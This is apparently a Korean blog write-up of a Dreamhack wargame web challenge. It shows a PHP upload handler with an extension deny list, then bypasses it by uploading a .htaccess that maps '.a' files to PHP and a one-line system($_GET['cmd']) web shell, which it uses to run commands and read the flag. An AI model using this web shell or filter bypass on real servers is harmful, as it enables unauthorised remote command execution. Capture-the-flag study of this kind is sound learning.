<문제>
<풀이>
문제 사이트에 접속하면 처음으로 보이는 페이지이다.
파일을 업로드할 수 있는 폼을 볼 수 있다.
파일을 업로드 해본다.
파일이 /upload에 저장되고 클릭해보면 파일이 실행된다.
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
upload.php 파일의 코드를 살펴보면
php, php3, php4 등의 확장자를 가지는 파일을 필터링되는 것을 볼 수 있다.
나머지 파일은 upload/에 저장되는 것을 확인할 수 있다.
문제의 제목에 주목할 필요가 있다.
chatGPT에 htaccess를 검색해보면,
"Apache 웹 서버에서 사용되는 설정 파일로, 웹 서버 동작과 관련된 다양한 설정을 변경할 수 있습니다.
이 파일을 사용하여 디렉터리 레벨에서 웹 서버 설정을 지정할 수 있습니다."
와 같은 답변을 얻을 수 있다.
.htaccess 파일을 생성하고
AddHandler php5-script .a
라는 설정 코드를 작성한다.
위의 설정코드는 .a 확장자를 가지는 파일을 php5 스크립트로 실행한다는 뜻이다.
해당 파일을 시스템에 업로드한다.
다음은 .a 확장자를 가지는 파일을 생성하고
<?php system($_GET['cmd']) ?>
라는 코드를 작성한다.
GET 방식으로 cmd 파라미터의 값을 받아서 시스템 명령어로 실행하는 코드이다.
getshell.a라는 파일로 만들어서 시스템에 업로드했다.
저장된 파일을 클릭해서 실행한다.
url에 ?cmd=ls 를 추가해서 ls 명령어를 실행시켜보면
결과가 잘 뜨는 것을 확인할 수 있다.
cd ../으로 path traversal을 하고 ls로 해당 경로의 폴더와 파일을 확인한다.
cd ../../../../../; ls
를 입력했을 때 flag를 볼 수 있다.
cd ../../../../../;./flag
를 입력해서 flag파일을 실행시켜보면 FLAG가 출력된다.
'드림핵' 카테고리의 다른 글
[드림핵 Reverse Engineering] Stage 3 (0) | 2023.09.20 |
---|---|
[드림핵 Reverse Engineering] Stage 1,2 (0) | 2023.09.14 |
[드림핵 워게임] baby-sqlite (0) | 2023.08.30 |
[드림핵 워게임] random-test (0) | 2023.08.30 |
[드림핵 워게임] web-deserialize-python (0) | 2023.08.29 |